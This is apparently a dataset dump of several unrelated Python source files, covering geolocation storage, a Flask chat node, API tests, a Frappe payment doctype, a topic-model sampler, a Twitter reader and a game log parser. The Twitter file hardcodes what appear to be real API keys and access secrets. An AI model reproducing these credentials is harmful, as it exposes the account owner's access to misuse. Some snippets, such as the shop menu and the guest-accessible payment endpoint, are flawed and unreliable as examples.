')[1].rstrip('\\n')\n })\n if debug:\n print(coordinates)\n return coordinates\n\n\ndef get_locations(coordinates, debug=False):\n \"\"\"\n Obtém informações de um local (endereço, CEP, bairro, etc) a partir de\n coordenadas (latitude e longitude) geográficas.\n\n\n :param coordinates: coordenadas a serem verificadas. Espera-se que estejam\n no padrão [{'lat':'y', 'lon':'x'}]\n\n :param debug: utilizado para imprimir as informações do local como forma de\n debug\n\n :return: JSON contendo as informações do local pesquisado\n \"\"\"\n points = coordinates['lat'] + ', ' + coordinates['lon']\n try:\n location = geolocator.reverse(points)\n if debug:\n print(location.raw)\n time.sleep(1) # O Serviço do nomatim suporta apenas 1 requisição por segundo\n return location.raw\n except:\n return get_locations(coordinates, debug)\n\n\ndef populate_database(js):\n \"\"\"\n Armazena informações no banco de dados a partir de um JSON.\n\n :param js: JSON contendo as informações a serem armazenadas.\n \"\"\"\n sql = '''\n INSERT INTO RESULTADOS (\n latitude,\n longitude,\n rua,\n numero,\n bairro,\n cidade,\n cep,\n estado,\n pais,\n endereco\n ) VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s)\n RETURNING ID\n '''\n\n js_address = js['address']\n param = (\n js['lat'],\n js['lon'],\n js_address.get('road', None),\n js_address.get('house_number', None),\n js_address.get('suburb', None),\n js_address.get('city', None),\n js_address.get('postcode', None),\n js_address.get('state', None),\n js_address.get('country', None),\n js['display_name']\n )\n return get_dict_resultset(sql, param, ONE)\n\n\ndef main_route(filename):\n insertedItems = 0\n if os.path.isfile(filename):\n # Leitura do arquivo de coordenadas\n coordinates = read_coordinates_file(filename)\n\n # Armazena informações no banco de dados e imprimi IDs armazenados\n for items in coordinates:\n r = populate_database(get_locations(items))\n if r:\n insertedItems = (insertedItems + 1)\n print(r)\n else:\n print(\n 'Não há informações disponíveis para o item:\\n' +str(items))\n else:\n print('Arquivo \"'+filename+'\" não encontrado!')\n return insertedItems\n","sub_path":"project/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"203082845","text":"from dictDB import readFile,removeUser,printUser\n\ndictDB = {}\nreadFile(dictDB,\"dictionaryDB.txt\")\n\n\nfor k in list(dictDB):\n if dictDB[k][\"job\"] == \"Mathematiker\":\n removeUser(dictDB,k)\n\n\nkeyList = list(dictDB.keys())\n\nfor i in keyList:\n if dictDB[i][\"age\"] == 23:\n printUser(dictDB,i)\n","sub_path":"übung6/dictDBmain.py","file_name":"dictDBmain.py","file_ext":"py","file_size_in_byte":305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"234087075","text":"import logging\nfrom contextlib import contextmanager\nfrom base64 import b64encode, b64decode\nimport hashlib\nimport flask\nfrom Crypto.PublicKey import RSA\nfrom Crypto.Cipher import PKCS1_OAEP\nfrom Crypto.Hash import SHA256\nfrom Crypto.Signature import PKCS1_PSS\nfrom zechat import models\n\nlogger = logging.getLogger(__name__)\n\n\nclass Crypto(object):\n\n def __init__(self, key):\n self.key = RSA.importKey(key)\n\n def _cipher(self):\n return PKCS1_OAEP.new(self.key)\n\n def _signer(self):\n return PKCS1_PSS.new(self.key)\n\n def encrypt(self, data):\n return b64encode(self._cipher().encrypt(data))\n\n def decrypt(self, data_b64):\n return self._cipher().decrypt(b64decode(data_b64))\n\n def sign(self, data):\n return b64encode(self._signer().sign(SHA256.new(data)))\n\n def verify(self, data, signature_b64):\n signature = b64decode(signature_b64)\n return self._signer().verify(SHA256.new(data), signature)\n\n def fingerprint(self):\n data = self.key.publickey().exportKey('DER')\n return hashlib.sha1(data).hexdigest()[:32]\n\n\nclass Node(object):\n\n def __init__(self):\n self.transport_map = {}\n\n @contextmanager\n def transport(self, ws):\n transport = Transport(self, ws)\n self.transport_map[ws.id] = transport\n try:\n yield transport\n finally:\n del self.transport_map[ws.id]\n\n def relay(self, pkt, recipient):\n for client in self.transport_map.values():\n if recipient in client.identities:\n client.send(pkt)\n\n\nclass Transport(object):\n\n def __init__(self, node, ws):\n self.node = node\n self.ws = ws\n self.identities = set()\n\n def iter_packets(self):\n while True:\n data = self.ws.receive()\n if data is None: # disconnect\n break\n\n if not data: # ping?\n continue\n\n pkt = flask.json.loads(data)\n logger.debug(\"packet: %r\", pkt)\n yield pkt\n\n def handle(self):\n for pkt in self.iter_packets():\n self.packet(pkt)\n\n def packet(self, pkt):\n if pkt['type'] == 'authenticate':\n self.identities.add(pkt['identity'])\n\n elif pkt['type'] == 'message':\n self.node.relay(pkt, pkt['recipient'])\n\n else:\n raise RuntimeError(\"Unknown packet type %r\" % pkt['type'])\n\n def send(self, pkt):\n self.ws.send(flask.json.dumps(pkt))\n\n\nviews = flask.Blueprint('node', __name__)\n\n\ndef _check_fingerprint(public_key, fingerprint):\n try:\n crypto = Crypto(public_key)\n except ValueError:\n return False\n else:\n return crypto.fingerprint() == fingerprint\n\n\n@views.route('/id/', methods=['POST'])\ndef post_identity():\n data = flask.request.get_json()\n public_key = data['public_key']\n fingerprint = data['fingerprint']\n\n if not _check_fingerprint(public_key, fingerprint):\n return (flask.jsonify(error='fingerprint mismatch'), 400)\n\n identity = (\n models.Identity.query\n .filter_by(fingerprint=fingerprint)\n .first()\n )\n\n if identity is None:\n identity = models.Identity(fingerprint=fingerprint)\n models.db.session.add(identity)\n\n identity.public_key = public_key\n models.db.session.commit()\n return flask.jsonify(\n ok=True,\n url=flask.url_for(\n '.get_identity',\n fingerprint=fingerprint,\n _external=True,\n ),\n )\n\n\n@views.route('/id/')\ndef get_identity(fingerprint):\n identity = (\n models.Identity.query\n .filter_by(fingerprint=fingerprint)\n .first_or_404()\n )\n return flask.jsonify(\n fingerprint=identity.fingerprint,\n public_key=identity.public_key,\n )\n\n\ndef init_app(app):\n app.register_blueprint(views)\n\n if app.config.get('LISTEN_WEBSOCKET'):\n from flask.ext.uwsgi_websocket import GeventWebSocket\n\n node = Node()\n\n websocket = GeventWebSocket(app)\n\n @websocket.route('/ws/transport')\n def transport(ws):\n with node.transport(ws) as transprot:\n transprot.handle()\n","sub_path":"zechat/node.py","file_name":"node.py","file_ext":"py","file_size_in_byte":4215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"136688336","text":"import unittest\nfrom fn import *\n\n\nclass TestYelpData(unittest.TestCase):\n def test_yelp_data(self):\n DBNAME='test.sqlite'\n conn = sqlite3.connect(DBNAME,check_same_thread=False)\n cur = conn.cursor()\n\n statement = '''\n DROP TABLE IF EXISTS 'EAT';\n '''\n cur.execute(statement)\n conn.commit()\n\n statement = '''\n DROP TABLE IF EXISTS 'RIDE';\n '''\n cur.execute(statement)\n conn.commit()\n eat_tb=create_first_table(DBNAME)\n\n\n headers_eat=cur.execute('SELECT * FROM EAT').description\n headers_ride=cur.execute('SELECT * FROM RIDE').description\n\n self.assertEqual(headers_eat[1][0],'City')\n self.assertEqual(headers_eat[-1][0],'address')\n self.assertEqual(headers_ride[1][0],'Origin')\n self.assertEqual(headers_ride[-1][0],'EAT_ID')\n\n\n\n yelpdt=Yelpeat('Ann Arbor',DBNAME).create_db()\n\n statement=\"SELECT * FROM EAT WHERE City='{}'\".format(\"Ann Arbor\")\n results=cur.execute(statement).fetchone()\n self.assertEqual(results[1],'Ann Arbor' )\n self.assertEqual(results[2],'Frita Batidos')\n self.assertEqual(results[3],'$$')\n self.assertEqual(results[4],4)\n self.assertTrue(\"117\" in results[5])\n\n sql = 'SELECT City FROM EAT'\n results = cur.execute(sql)\n result_list = results.fetchall()\n self.assertIn( ('Ann Arbor',), result_list)\n\n sql = '''\n SELECT Price,Rating,Address\n FROM EAT\n WHERE Name=\"TK Wu\"\n '''\n results = cur.execute(sql)\n result_list = results.fetchone()\n self.assertEqual(result_list[0],'$$' )\n self.assertEqual(result_list[1],3.5)\n\n conn.close()\n\nclass TestLyftData(unittest.TestCase):\n\n def test_google_lyft(self):\n resultA=google_map('Time square, new york')\n resultB=google_map('Uva,new york')\n\n self.assertEqual(resultA,'40.759011,-73.9844722')\n self.assertEqual(resultB, '40.7721092,-73.955637')\n\n lyft_result=lyft_data().estmate_cost(resultA,resultB)\n self.assertIs(type(lyft_result['start']),str)\n\n\n def test_lyft(self):\n DBNAME='test.sqlite'\n conn = sqlite3.connect(DBNAME,check_same_thread=False)\n cur = conn.cursor()\n\n lyft_result=lyft_data().create_table('Time square, new york',['1','2'],'test.sqlite')\n\n self.assertEqual(lyft_result[0][1],'Time square, new york' )\n self.assertEqual(lyft_result[0][2],'40.759011,-73.9844722')\n\n lyft_result=lyft_data().create_table('North quad, Ann Arbor',['1','2'],'test.sqlite')\n\n\n\n\n\nunittest.main(verbosity=4)\n","sub_path":"env1/fntest.py","file_name":"fntest.py","file_ext":"py","file_size_in_byte":2694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"567714144","text":"# -*- coding: utf-8 -*-\n# Copyright (c) 2021, Gopi and contributors\n# For license information, please see license.txt\n\nfrom __future__ import unicode_literals\n#from apps.employee_management.employee_management.employee_management.doctype.payment_detail.payment_detail import PaymentDetail\nimport frappe\nfrom frappe.model.document import Document\nfrom frappe.utils import flt, comma_or, nowdate, getdate\n\n\nclass WalletTransaction(Document):\n def validate(self):\n self.outstanding_amount = self.product_price\n# def on_submit(self):\n# add_child(self)\n\n# def on_cancel(self):\n# payments = frappe.db.sql(\n# '''select DISTINCT p.name from `tabPayment Detail` p, `tabReference` r where r.parent=p.name and r.type1=\"Wallet Transaction\" and r.name1=%s''', self.name, as_dict=1)\n\n# for i in payments:\n\n# print(i.name)\n# docc = frappe.get_doc(\n# {\"doctype\": \"Payment Detail\", \"name\": i.name})\n\n# docc.docstatus = 2\n# docc.save(ignore_permissions=True)\n\n\n# @ frappe.whitelist()\n# def add_child(self):\n# if self.customer_name:\n# cus_name = self.customer_name\n# else:\n# cus_name = 'Empty'\n# if self.product_id:\n# pro_id = self.product_id\n# else:\n# pro_id = 'Empty'\n\n# doc = frappe.get_doc({\n# \"doctype\": \"Payment Detail\",\n# \"payment_type\": 'Pay',\n# \"mode_of_payment\": 'Cash',\n# \"posting_date\": self.date,\n# \"party_name\": cus_name,\n# \"party\": pro_id,\n# \"paid_amount\": self.paid_amount,\n# })\n\n# doc.append(\"payment_references\", {\n# \"type1\": \"Wallet Transaction\", \"name1\": self.name})\n# doc.submit()\n\n\n@frappe.whitelist(allow_guest=True)\ndef make_payment(var):\n\n pe = frappe.get_doc(\"Wallet Transaction\", var)\n stor = frappe.new_doc(\"Payment Detail\")\n stor.payment_type = 'Pay'\n stor.mode_of_payment = 'Debit Card'\n stor.posting_date = pe.date\n stor.party_name = pe.customer_name\n stor.party = pe.product_id\n stor.paid_amount = pe.outstanding_amount\n stor.append('payment_references', {\n 'type1': 'Wallet Transaction', 'name1': pe.name, 'total_amount': pe.outstanding_amount})\n return stor\n\n\n@frappe.whitelist()\ndef value_get(idd):\n pay = frappe.db.sql(\n '''select p.name,p.paid_amount,p.posting_date,r.outstanding,r.total_amount from `tabPayment Detail` p, `tabReference` r where r.parent=p.name and r.type1=\"Wallet Transaction\" and r.name1=%s''', idd, as_dict=1)\n return pay\n\n@frappe.whitelist(allow_guest=True)\ndef get_child():\n source = frappe.db.sql(''' select * from `tabWallet Transaction` where docstatus=1''',as_dict=1)\n for i in source:\n\n frappe.log_error(i,\"kk\")\n i.sam = frappe.db.sql(''' select * from `tabReference Child` where parent = %(values)s''',{\"values\":i.name},as_dict=1)\n return source\n","sub_path":"employee_management/employee_management/doctype/wallet_transaction/wallet_transaction.py","file_name":"wallet_transaction.py","file_ext":"py","file_size_in_byte":2926,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"230132925","text":"\ncarrito = []\n\ndef comprar_productos():\n\n\tproductos = {1:['Botella con agua 50ml',5],2:['Pieza de pan 1',6],\n 3:['Leche 1lt',23],4:['Pack 6u',25],5:['Mermelada 400gr',31],6:['Mayonesa 440gr',23],\n 7:['Botella con agua 50ml',5],8:['Galletas 1u',37],\n }\n\tprint(\"{:^1}{:^30}{:^5}\".format('ID','PRODUCTO','P/U'))\n\tfor codigo,producto in productos.items():\n\t\tprint(\"{:^1}{:^30}{:^5}\".format(codigo,(*producto)))\n\n\ti_producto,cantidad,salir = input(\"Ingresa el codigo del producto y cantidad y c/n>>\").split(',')\n\tproducto = productos.get(int(i_producto),'No existe el producto')\n\tprecio_producto = producto[1]*(int(cantidad))\n\tprint(f'Compraste {cantidad} unidades de {producto[0]}\\tCosto: {precio_producto}')\n\tcarrito.append([i_producto,producto[0],cantidad,precio_producto])\n\n\ndef ver_carrito():\n\tprint(\"TU CARRITO DE COMPRAS ACTUAL\\n\")\n\tprint(\"{:^1}{:^20}{:^10}{:^10}\".format(\"ID\",\"PRODUCTO\",\"CANTIDAD\",\"P/T\"))\n\tfor id_pro,producto,cantidad,precio in carrito:\n\t\tprint(\"{:^1}{:^20}{:^10}{:^10}\".format(id_pro,producto,cantidad,precio))\n\n\ndef pagar_carrito():\n\n\tpago_user = input(\"¿Desea realizar la compra? s/n>>\").lower()\n\tif pago_user == 's':\n\t\tfor producto in carrito:\n\t\t\tprint(f'Debes pagar {sum(carrito[2])}')\n\n\ndef eliminar_carrito():\n\n\tdel_prod = int(input(\"Ingresa el código de compra a eliminar>>\"))\n\tcarrito.pop(del_prod - 1)\n\tprint(f'Se eliminó el producto')\n\n\ndef menu():\n\topciones = ['Comprar productos','Ver carrito','eliminar_carrito','Pagar']\n\tfor i,opcion in enumerate(opciones,start=1):\n\t\tprint(i,opcion)\n\n\topcion = int(input(\"Selecciona la opción>>\"))\n\tif opcion:\n\t\tmenu = {1:comprar_productos(),2:ver_carrito(),3:eliminar_carrito(),4:pagar_carrito()}\n\t\treturn menu.get(opcion,'NO existe la opción')\n\nprint(menu())\n\n\n","sub_path":"Scripts/Shop/shop.py","file_name":"shop.py","file_ext":"py","file_size_in_byte":1774,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"609362529","text":"import numpy as np\n# import scipy\n# import scipy.stats.dirichlet\n# import matplotlib.pyplot as plt\nimport pickle\n\nPATH1 = \"R3-trn-all_run.txt\"\ndef readDict(path, alpha, K):\n dics = {}\n def spt(s):\n s = s.split(\":\")\n return (int(s[0]), int(s[1]))\n\n # count = 0\n with open(path) as f:\n for line in f:\n # if count >= 5:\n # break\n theta = np.random.dirichlet(K*[alpha])\n theta[-1] = theta[-1] + 1 - sum(theta) # must sum to 1\n words = line.split()\n dic = {}\n for word in words[1:]:\n (key, value) = spt(word)\n dic[key] = [value, np.random.choice(K, 1, p=theta)[0]]\n dics[int(words[0])] = dic\n # count+=1\n return dics\ndics = readDict(PATH1, 0.3, 3)\ndef readDic(path):\n with open(path) as f:\n dic = f.read().splitlines()\n return dic\nPATH2 = \"R3_all_Dictionary.txt\"\nDIC = readDic(PATH2)\ndef nstart(dics, K):\n nvk = {} # number of words v assigned to topic k\n nk = K*[0] # number of words assigned to topic K = sum of nvk over all v\n nmk = {} # number of words which are assigned to the topic k from the document m\n nm = {} # number of words in document m\n for m, doc in dics.items():\n nmk[m] = np.zeros(K)\n for v, word in doc.items():\n if v not in nvk:\n nvk[v] = K*[0]\n nvk[v][word[1]] += word[0]\n nk[word[1]] += word[0]\n nmk[m][word[1]] += word[0]\n nm[m] = sum(nmk[m])\n return (nvk, nk, nmk, nm)\n\ndef pz(dics, K, alpha, sigma):\n (nvk, nk, nmk, nm) = nstart(dics, K)\n N = 500 # number of iterations\n V = max(nvk)\n Vsigma = V*sigma\n Kalpha = K*alpha\n for n in range(N):\n for m, doc in dics.items():\n for i, word in doc.items():\n n_wmi = word[0]\n topic = word[1]\n nvk[i][topic] -= n_wmi\n nmk[m][topic] -= n_wmi\n nk[topic] -= n_wmi\n prob = np.zeros(K)\n\n for k in range(K):\n prob[k] = (nvk[i][k]+sigma)/(nk[k]+Vsigma)*(nmk[m][k]+alpha)/(nm[m]+Kalpha-1)\n topic = np.random.choice(K, p=prob/sum(prob))\n dics[m][i][1] = topic\n nvk[i][topic] += n_wmi\n nmk[m][topic] += n_wmi\n nk[topic] += n_wmi\n print(n)\n return (dics, nvk, nmk, nk, nm)\n\ndef run_and_save(dics, K, alpha, sigma):\n (dics, nvk, nmk, nk, nm) = pz(dics, K, alpha, sigma)\n pickle.dump(dics, open(\"dics:K=\"+str(K)+\",alpha=\"+str(alpha)+\",sigma=\"+str(sigma)+\",iterations=500.p\", \"wb\"))\n pickle.dump(nvk, open(\"nvk:K=\"+str(K)+\",alpha=\"+str(alpha)+\",sigma=\"+str(sigma)+\",iterations=500.p\", \"wb\"))\n pickle.dump(nmk, open(\"nmk:K=\"+str(K)+\",alpha=\"+str(alpha)+\",sigma=\"+str(sigma)+\",iterations=500.p\", \"wb\"))\n pickle.dump(nk, open(\"nk:K=\"+str(K)+\",alpha=\"+str(alpha)+\",sigma=\"+str(sigma)+\",iterations=500.p\", \"wb\"))\n pickle.dump(nm, open(\"nm:K=\"+str(K)+\",alpha=\"+str(alpha)+\",sigma=\"+str(sigma)+\",iterations=500.p\", \"wb\"))\n\n\ndef load_files(file1=\"dics\", file2=\"nvk\", file3=\"nmk\", file4=\"nk\", file5=\"nm\"):\n dics = pickle.load(open(file1, \"rb\"))\n nvk = pickle.load(open(file2, \"rb\"))\n nmk = pickle.load(open(file3, \"rb\"))\n nk = pickle.load(open(file4, \"rb\"))\n nm = pickle.load(open(file5, \"rb\"))\n return (dics, nvk, nmk, nk, nm)\nfile1 = \"dics:K=3,alpha=0.3,sigma=0.3,iterations=500.p\"\nfile2 = \"nvk:K=3,alpha=0.3,sigma=0.3,iterations=500.p\"\nfile3 = \"nmk:K=3,alpha=0.3,sigma=0.3,iterations=500.p\"\nfile4 = \"nk:K=3,alpha=0.3,sigma=0.3,iterations=500.p\"\nfile5 = \"nm:K=3,alpha=0.3,sigma=0.3,iterations=500.p\"\n\ndef thetamk(dics, nmk, nm, alpha, K):\n Kalpha = K*alpha\n M = len(dics)\n #print(dics)\n T = np.zeros((M, K))\n for m, doc in dics.items():\n #print(m)\n for k in range(K):\n T[m-1][k] = (nmk[m][k]+alpha)/(nm[m]+Kalpha)\n return T\n\n\ndef betakv(dics, nvk, nk, sigma, K):\n V = max(nvk)\n B = np.zeros((K, V))\n for v in range(V):\n for k in range(K):\n if v in nvk:\n B[k][v] = (nvk[v][k]+sigma)/(nk[k]+V*sigma)\n return B\n #the number of words wmi assigned to topic k and where the ith word in the mth document is not counted\n\n\ndef common_words(dics, nvk, nk, sigma, K):\n B = betakv(dics, nvk, nk, sigma, K)\n N = 20\n indices = np.zeros((K, N))\n #print(B[0, :])\n #print(np.argsort(B[0, :]))\n #print(np.argsort(B[0, :])[::-1])\n for k in range(K):\n indices[k, :] = (np.argsort(B[k, :])[::-1])[0:N]\n words = [[0]*N]*K\n for k in range(K):\n words[k] = list(map(lambda i:DIC[i], list(map(int, indices[k, :]))))\n common = np.zeros((K, N))\n for k in range(K):\n common[k, :] = B[k, list(map(int,indices[k, :]))]\n return (indices, words, common)\n\ndef doc_distr(dics, nmk, nm, alpha, K, m):\n T = thetamk(dics, nmk, nm, alpha, K) # document topic distribution theta_m\n return T[m, :]\n\ndef manyruns():\n Ks = [10, 15, 5, 3]\n for K in Ks:\n dics = readDict(PATH1, 0.3, K)\n run_and_save(dics, K, 0.3, 0.3)\n alphas = [0.1, 0.5]\n for alpha in alphas:\n dics = readDict(PATH1, alpha, 3)\n run_and_save(dics, 3, alpha, 0.3)\n sigmas = [0.1, 0.5]\n for sigma in sigmas:\n dics = readDict(PATH1, 0.3, 3)\n run_and_save(dics, 3, 0.3, sigma)\n\ndef handle_results():\n Ks = [10, 15, 5, 3]\n def fileP(file, K):\n alpha = 0.3\n sigma = 0.3\n return file+\":K=\"+str(K)+\",alpha=\"+str(alpha)+\",sigma=\"+str(sigma)+\",iterations=500.p\"\n for K in Ks:\n file1 = fileP(\"dics\", K)\n file2 = fileP(\"nvk\", K)\n file3 = fileP(\"nmk\", K)\n file4 = fileP(\"nk\", K)\n file5 = fileP(\"nm\", K)\n (dics, nvk, nmk, nk, nm) = load_files(file1, file2, file3, file4, file5)\n (indices, words, common) = common_words(dics, nvk, nk, 0.3, K)\n for k in range(K):\n c1 = words[k]\n c2 = common[k, :]\n print(\"-----------K=\"+str(K)+\"-----------\")\n for c1, c2 in zip(c1, c2):\n print(\"%-9s %s\" % (c1, c2))\n print(\"-------------------------\")\n thetam = doc_distr(dics, nmk, nm, 0.3, K, 9)\nhandle_results()\n#manyruns()\n#run_and_save(dics, 3, 0.3, 0.3)\n#(dics, nvk, nmk, nk, nm) = pz(dics, 3, 0.3, 0.3)\n#print(nvk)\n#(dics, nvk, nmk, nk, nm) = load_files(file1, file2, file3, file4, file5)\n#print(type(nvk))\n#B = betakv(dics, nvk, nk, 0.3, 3)\n#print(common_words(dics, nvk, nk, 0.3, 3))\n#print(doc_distr(dics, nmk, nm, 0.3, 3, 3))\n#print(thetamk(dics, nmk, nm, 0.3, 3))\n#print(sum(B[1, :]))\nsigma = 0.3\nalpha = 0.3\n\n\n","sub_path":"a26.py","file_name":"a26.py","file_ext":"py","file_size_in_byte":6741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"450259026","text":"\"\"\"View for setting the order of products in a range.\"\"\"\nfrom django.contrib import messages\nfrom django.shortcuts import get_object_or_404, redirect\nfrom django.urls import reverse_lazy\nfrom django.views.generic.base import TemplateView\n\nfrom inventory import models\nfrom inventory.forms import ProductOrderFormSet\n\nfrom .views import InventoryUserMixin\n\n\nclass ProductOrderView(InventoryUserMixin, TemplateView):\n \"\"\"View for setting the order of products in a range.\"\"\"\n\n template_name = \"inventory/product_range/product_order.html\"\n\n def dispatch(self, *args, **kwargs):\n \"\"\"Load the formset.\"\"\"\n self.product_range = get_object_or_404(\n models.ProductRange, pk=self.kwargs.get(\"range_pk\")\n )\n self.formset = ProductOrderFormSet(\n self.request.POST or None,\n form_kwargs=[\n {\"product\": p}\n for p in self.product_range.products.variations()\n .active()\n .filter(is_end_of_line=False)\n ],\n )\n return super().dispatch(*args, **kwargs)\n\n def post(self, *args, **kwargs):\n \"\"\"Process POST HTTP request.\"\"\"\n if self.formset.is_valid():\n for form in self.formset:\n form.save()\n messages.add_message(\n self.request, messages.SUCCESS, \"Variation Order Updated\"\n )\n return redirect(self.get_success_url())\n else:\n return super().get(*args, **kwargs)\n\n def get_success_url(self):\n \"\"\"Return URL to redirect to after successful form submission.\"\"\"\n return reverse_lazy(\n \"inventory:product_order\", kwargs={\"range_pk\": self.product_range.pk}\n )\n\n def get_context_data(self, *args, **kwargs):\n \"\"\"Get template context data.\"\"\"\n context = super().get_context_data(*args, **kwargs)\n context[\"product_range\"] = self.product_range\n context[\"formset\"] = self.formset\n return context\n","sub_path":"inventory/views/product_order.py","file_name":"product_order.py","file_ext":"py","file_size_in_byte":2004,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"456307348","text":"from twitter import Twitter, OAuth, TwitterHTTPError, TwitterStream\nfrom api.models import Tweet\nfrom datetime import *\n\nAPI_KEY = \"rBdTvvJWbnh2Rfrzem4vX34t6\"\nAPI_SECRET = \"0CULpHz0uG5fVPEvd6hHOim83lU3OkbQj2vbbSDapZcYm11N0Q\"\nACCESS_KEY = \"921138024-M8yqYCkoYSN7rmFEK2B1ni8JUYj61wlwKtK4e8OT\"\nACCESS_SECRET = \"yiep63DAkRXhhgqvhXllJAU9cPsQRPQ4q726kj0M0inuG\"\n\nclass TweetReader:\n\t\n\tdef __init__ (self, word):\n\t\tself.oauth = OAuth(ACCESS_KEY, ACCESS_SECRET, API_KEY, API_SECRET)\t\n\t\ttwitter_stream = TwitterStream(auth=self.oauth)\n\t\tself.generator = twitter_stream.statuses.filter(track=word)\n\n\tdef get_tweet(self):\n\t\treturn next(self.generator)\n\nclass TweetMapper:\n\t\n\tdef dict_to_tweet(tweet_dict):\n\t\ttext = tweet_dict['text']\n\t\tdate_created = datetime.strptime(tweet_dict['created_at'], '%a %b %d %H:%M:%S %z %Y')\n\n\t\treturn Tweet(text, date_created)\n\n\tdef tweet_to_dict(tweet):\n\t\treturn {\n\t\t\t'text': tweet.text,\n\t\t\t'date': tweet.date\n\t\t}\n","sub_path":"api/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"121034725","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build\\bdist.win32\\egg\\b3\\parsers\\wop15.py\n# Compiled at: 2016-03-08 18:42:10\n__author__ = 'xlr8or, Courgette'\n__version__ = '1.6'\nimport b3, b3.events, b3.parser, re, string\nfrom b3.parsers.q3a.abstractParser import AbstractParser\nDEBUG_EVENTS = False\nMOD_UNKNOWN = '0'\nMOD_PUMPER = '1'\nMOD_GAUNTLET = '2'\nMOD_MACHINEGUN = '3'\nMOD_GRENADE = '4'\nMOD_GRENADE_SPLASH = '5'\nMOD_ROCKET = '6'\nMOD_ROCKET_SPLASH = '7'\nMOD_PLASMA = '8'\nMOD_PLASMA_SPLASH = '9'\nMOD_RAILGUN = '10'\nMOD_LIGHTNING = '11'\nMOD_BFG = '12'\nMOD_BFG_SPLASH = '13'\nMOD_KILLERDUCKS = '14'\nMOD_WATER = '15'\nMOD_SLIME = '16'\nMOD_LAVA = '17'\nMOD_CRUSH = '18'\nMOD_TELEFRAG = '19'\nMOD_FALLING = '20'\nMOD_SUICIDE = '21'\nMOD_TARGET_LASER = '22'\nMOD_TRIGGER_HURT = '23'\nMOD_GRAPPLE = '24'\nGAMETYPE_FFA = '0'\nGAMETYPE_1VS1 = '1'\nGAMETYPE_SP = '2'\nGAMETYPE_SYC = '3'\nGAMETYPE_LPS = '4'\nGAMETYPE_TFFA = '5'\nGAMETYPE_CTL = '6'\nGAMETYPE_TSYC = '7'\nGAMETYPE_BB = '8'\nTEAM_BASED_GAMETYPES = (\n GAMETYPE_TFFA, GAMETYPE_CTL, GAMETYPE_TSYC, GAMETYPE_BB)\n\nclass Wop15Parser(AbstractParser):\n gameName = 'wop15'\n _line_length = 65\n _line_color_prefix = ''\n _commands = {'message': 'stell %(cid)s \"%(message)s\"', \n 'say': 'ssay \"%(message)s\"', \n 'saybig': 'scp -1 \"%(message)s\"', \n 'set': 'set %(name)s \"%(value)s\"', \n 'kick': 'clientkick %(cid)s', \n 'ban': 'banAddr %(cid)s', \n 'tempban': 'clientkick %(cid)s'}\n _eventMap = {}\n _lineClear = re.compile('^(?:[0-9:]+\\\\s?)?')\n _lineFormats = (\n re.compile('^(?P[a-z]+):\\\\s(?P(?P[0-9]+)\\\\s(?P[0-9a-z]{32})\\\\s+(?P[0-9.]+))$', re.IGNORECASE),\n re.compile('^(?P[a-z]+):\\\\s(?P(?P[0-9]+)\\\\s+(?P[0-9.]+))$', re.IGNORECASE),\n re.compile('^(?PTell):\\\\s*(?P(?P[-]?[0-9]+)\\\\s+(?P[0-9]+)\\\\s+(?P.+))$', re.IGNORECASE),\n re.compile('^(?PDamage):\\\\s*(?P(?P[0-9]+)\\\\s+(?P[0-9a-z_]+)\\\\s+(?P[0-9]+)\\\\s+(?P\\\\d+)\\\\s+(?P\\\\d+))$', re.IGNORECASE),\n re.compile('^(?P[a-z]+):\\\\s*(?P(?P[0-9]+)\\\\s(?P[0-9a-z_]+)\\\\s(?P[0-9]+))$', re.IGNORECASE),\n re.compile('^(?P[a-z]+):\\\\s*(?P.*)$', re.IGNORECASE))\n _regPlayer = re.compile('^(?P[0-9]+)\\\\s+(?P[0-9-]+)\\\\s+(?P[0-9]+)\\\\s+(?P[0-9]+)\\\\s+(?P.*?)\\\\s+(?P[0-9]+)\\\\s+(?P[0-9.]+)\\\\s+(?P[0-9]+)\\\\s+(?P[0-9]+)$', re.IGNORECASE)\n _reColor = re.compile('(\\\\^.)|[\\\\x00-\\\\x20]|[\\\\x7E-\\\\xff]')\n\n def startup(self):\n \"\"\"\n Called after the parser is created before run().\n \"\"\"\n self.clients.newClient('-1', guid='WORLD', name='World', hide=True)\n self.clients.newClient('1022', guid='ENTITYNUM_WORLD', name='World', hide=True)\n self.debug('Forcing server cvar g_logsync to %s' % self._logSync)\n self.setCvar('g_logsync', self._logSync)\n mapname = self.getMap()\n if mapname:\n self.game.mapName = mapname\n self.info('map is: %s' % self.game.mapName)\n plist = self.getPlayerList()\n for cid, c in plist.iteritems():\n userinfostring = self.queryClientUserInfoByCid(cid)\n if userinfostring:\n self.OnClientuserinfo(None, userinfostring)\n\n return\n\n def OnClientconnect(self, action, data, match=None):\n try:\n cid = match.group('cid')\n self.verbose('Client connected cid: %s' % cid)\n except IndexError:\n pass\n\n def OnClientuserinfochanged(self, action, data, match=None):\n bclient = self.parseUserInfo(data)\n self.verbose('Parsed user info: %s' % bclient)\n if bclient:\n client = self.clients.getByCID(bclient['cid'])\n if client:\n bclient['ip'] = client.ip\n for k, v in bclient.iteritems():\n setattr(client, k, v)\n\n def OnClientdisconnect(self, action, data, match=None):\n client = self.clients.getByCID(data)\n if client:\n client.disconnect()\n return\n\n def OnInitgame(self, action, data, match=None):\n options = re.findall('\\\\\\\\([^\\\\\\\\]+)\\\\\\\\([^\\\\\\\\]+)', data)\n for o in options:\n if o[0] == 'mapname':\n 